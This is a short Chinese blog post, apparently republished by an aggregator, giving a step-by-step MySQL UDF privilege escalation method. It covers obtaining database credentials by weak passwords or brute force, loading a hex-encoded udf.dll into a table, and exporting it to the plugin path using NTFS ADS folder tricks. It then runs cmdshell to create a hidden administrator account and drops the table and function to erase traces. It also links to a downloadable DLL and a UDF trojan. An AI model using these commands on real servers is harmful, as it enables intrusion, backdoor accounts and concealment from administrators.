提权基础-----mysql-udf提权

Posted 晓枫v5

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了提权基础-----mysql-udf提权相关的知识,希望对你有一定的参考价值。

1.总结关于udf提权方法

通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连

(1).将udf.dll代码的16进制数声明给my_udf_a变量

set @my_udf_a=concat(\'\',dll的16进制);

(2).建表my_udf_data,字段为data,类型为longblob。

udf.dll
https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA

create table my_udf_data(data LONGBLOB);

(3)将my_udf_data表更新为@my_udf_a中的数据。

insert into my_udf_data values("");

update my_udf_data set data = @my_udf_a;

(4)查看dll导出路径

Mysql<5.0,导出路径随意;

5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误;

mysql>5.1,需要导出dll到插件路径,插件路径可以用下面这条命令查看:show variables like \'%plugin%\';

(5)将dll导出

.dll的名字可以任意命名

*某些情况下,我们会遇到Can\'t open shared library的情况,这时就需要我们把udf.dll导出到lib\\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

select @@basedir;  
//查找到mysql的目录
select \'It is dll\' into dumpfile \'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib::$INDEX_ALLOCATION\';  
//利用NTFS ADS创建lib目录
select \'It is dll\' into dumpfile \'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib\\\\plugin::$INDEX_ALLOCATION\';
//利用NTFS ADS创建plugin目录

(6)通过cmdshell function进行提权

select cmdshell(\'net user x x /add\');
select cmdshell(\'net localgroup administrators x /add\');

(7)擦除痕迹:

drop table my_udf_data;
drop function cmdshell;

2.udf木马提权

输入数据库帐号密码

按说明来

很详细的说明https://bbs.ichunqiu.com/thread-39696-1-1.html

以上是关于提权基础-----mysql-udf提权的主要内容,如果未能解决你的问题,请参考以下文章

提权-基础

一文了解提权:溢出提权和第三方组件提权

一文了解提权:溢出提权和第三方组件提权

find基础命令与提权教程

什么是本地提权漏洞和远程代码执行漏洞?

SUID提权:CVE-2021-4034漏洞全解析